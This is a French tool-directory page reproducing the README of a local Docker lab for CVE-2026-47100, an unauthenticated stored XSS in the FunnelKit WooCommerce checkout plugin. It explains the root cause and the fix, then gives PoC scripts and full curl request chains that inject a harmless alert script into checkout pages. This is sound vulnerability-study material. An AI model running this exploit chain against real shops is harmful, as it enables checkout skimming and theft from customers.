Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-47100-Analysis-Lab — Laboratoire Docker local pour reproduire CVE-2026-47100, un XSS stocké non authentifié dans FunnelKit pour WooCommerce. Inclut des scripts PoC pour comparer les versions vulnérables et corrigées. | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-47100-analysis-lab
Analyse des VulnérabilitésExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

Laboratoire Docker local pour reproduire CVE-2026-47100, un XSS stocké non authentifié dans FunnelKit pour WooCommerce. Inclut des scripts PoC pour comparer les versions vulnérables et corrigées.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-47100 — Lab XSS stocké — FunnelKit / Funnel Builder for WooCommerce Checkout

Lab Docker local pour reproduire la CVE-2026-47100 de manière sûre et la moins dommageable possible. Ce lab compare une version vulnérable de FunnelKit à une version corrigée et vérifie le comportement à l'aide d'un marqueur/alerte JavaScript inoffensif.


1. Vue d'ensemble

La CVE-2026-47100 est une vulnérabilité d'absence d'autorisation dans Funnel Builder / FunnelKit for WooCommerce Checkout antérieure à la version 3.15.0.3.

Le flux AJAX de checkout vulnérable permet à un visiteur non authentifié d'invoquer une méthode interne du plugin et d'écrire des données dans le réglage intégré de script externe global de FunnelKit. Comme ce réglage est ensuite affiché sur les pages de checkout FunnelKit, le problème peut devenir un XSS stocké non authentifié sur les pages de checkout.

Ce dépôt reproduit le problème localement à l'aide de deux services Docker :

ServiceVersionURLRésultat attendu
vuln3.15.0.2http://127.0.0.1:8081comportement vulnérable confirmé
patched3.15.0.3http://127.0.0.1:8082écriture bloquée / marqueur non affiché

2. Capture d'écran de la découverte Vulnx

vulnx

Sélection initiale de la CVE à partir de la sortie de Vulnx. Le lab et le PoC ont été construits manuellement en comparant les comportements vulnérable et corrigé.


3. Impact

Un attaquant non authentifié peut abuser du flux AJAX public de checkout pour persister du JavaScript dans le réglage de script externe global de FunnelKit.

Sur une boutique WooCommerce réelle, cela pourrait permettre à du JavaScript malveillant de s'exécuter dans le navigateur des utilisateurs qui visitent la page de checkout. Les rapports publics ont associé cette classe de vulnérabilité à des campagnes de skimming sur les pages de checkout.

Ce lab n'utilise volontairement qu'un marqueur de preuve inoffensif :

root@kitploit:~
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. Cause racine

La version vulnérable accepte des données de checkout contrôlées par l'utilisateur depuis le point de terminaison AJAX public de WooCommerce :

root@kitploit:~
/?wc-ajax=update_order_review

Dans le flux de checkout FunnelKit, la requête peut inclure :

root@kitploit:~
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

La logique vulnérable vérifie si le nom d'action fourni existe en tant que méthode de classe. Si la méthode existe, elle peut être invoquée depuis le flux de checkout public.

Comportement vulnérable simplifié :

root@kitploit:~
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

L'action importante contrôlée par l'attaquant est :

root@kitploit:~
update_global_settings_fields

Cette méthode met à jour l'option WordPress :

root@kitploit:~
_wfacp_global_settings

et plus précisément la clé intégrée FunnelKit :

root@kitploit:~
wfacp_global_external_script

La valeur stockée est ensuite lue par le template de checkout et affichée sur la page de checkout. Cela crée la condition de XSS stocké.

Chaîne d'exploitation :

root@kitploit:~
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS

5. Résumé du correctif

La version 3.15.0.3 renforce la sécurité du chemin vulnérable grâce à deux changements importants.

5.1 Liste blanche des actions publiques

La version corrigée restreint les actions de checkout qui peuvent être invoquées depuis le flux de checkout public.

Comportement corrigé simplifié :

root@kitploit:~
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

Cela empêche des méthodes internes arbitraires telles que update_global_settings_fields d'être déclenchées par des requêtes de checkout non authentifiées.

5.2 Vérification de capacité avant la mise à jour des réglages

La version corrigée ajoute également une vérification d'autorisation avant que les réglages globaux puissent être mis à jour :

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

Cela signifie que le réglage de script externe global ne devrait être modifiable que par les utilisateurs disposant des privilèges de gestion WooCommerce.


6. Architecture du lab

root@kitploit:~
host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

Le processus d'amorçage crée :

root@kitploit:~
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10

Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11

Le lab utilise une URL de checkout déterministe :

root@kitploit:~
/?post_type=wfacp_checkout&p=11

Cette URL charge explicitement le custom post de checkout FunnelKit dans le lab Docker local.


7. Lancement du lab

Démarrer le lab :

root@kitploit:~
docker compose up -d --build

Vérifier les services :

root@kitploit:~
docker compose ps

Services attendus :

root@kitploit:~
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

Installer les dépendances Python :

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. Scripts PoC

8.1 PoC du lab

poc/poc_lab.py est le PoC déterministe du lab.

Il suppose les valeurs d'amorçage Docker locales suivantes :

root@kitploit:~
product_id = 10
checkout_post_id = 11

Exécution contre le service vulnérable :

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8081

Résultat attendu :

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

Exécution contre le service corrigé :

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8082

Résultat attendu :

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 Outil générique d'auto-test autorisé

poc/poc_check.py est un outil d'auto-test autorisé plus portable.

Vérification passive uniquement :

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

Vérification active autorisée :

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

Mode marqueur uniquement, sans alerte :

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

Tentative de nettoyage :

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. Test manuel

9.1 Service vulnérable

Créer une nouvelle session WooCommerce et ajouter le produit du lab au panier :

root@kitploit:~
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null

Récupérer la page de checkout FunnelKit et extraire le nonce de checkout WooCommerce :

root@kitploit:~
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"

Envoyer la requête AJAX de checkout forgée :

root@kitploit:~
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Vérifier que l'option a été écrite :

root@kitploit:~
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Résultat attendu :

root@kitploit:~
{
  "wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
  "wfacp_checkout_global_css": ""
}

Vérifier que le marqueur est affiché :

root@kitploit:~
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Ouvrir dans un navigateur pour voir l'alerte inoffensive :

root@kitploit:~
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11

9.2 Service corrigé

Répéter le même flux contre le port 8082 :

root@kitploit:~
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
root@kitploit:~
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Vérifier que l'option reste inchangée :

root@kitploit:~
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Résultat attendu :

root@kitploit:~
[]

Vérifier que le marqueur n'est pas affiché :

root@kitploit:~
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Résultat attendu : aucune sortie.


10. Synthèse des preuves

Le service vulnérable confirme le problème lorsque toutes les conditions suivantes sont réunies :

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True

Le service corrigé confirme le correctif lorsque :

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []

11. Notes de sécurité

Ce dépôt est destiné uniquement à la recherche en sécurité locale et autorisée.

Périmètre autorisé :

root@kitploit:~
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test

Non autorisé :

root@kitploit:~
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores

Le PoC n'utilise qu'une alerte et un marqueur inoffensifs.


12. Références

  • Fiche CVE : https://www.cve.org/CVERecord?id=CVE-2026-47100
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-47100
  • Avis VulnCheck : https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax
  • Recherche Sansec : https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited
  • Changeset WordPress Trac : https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php
Télécharger l’outil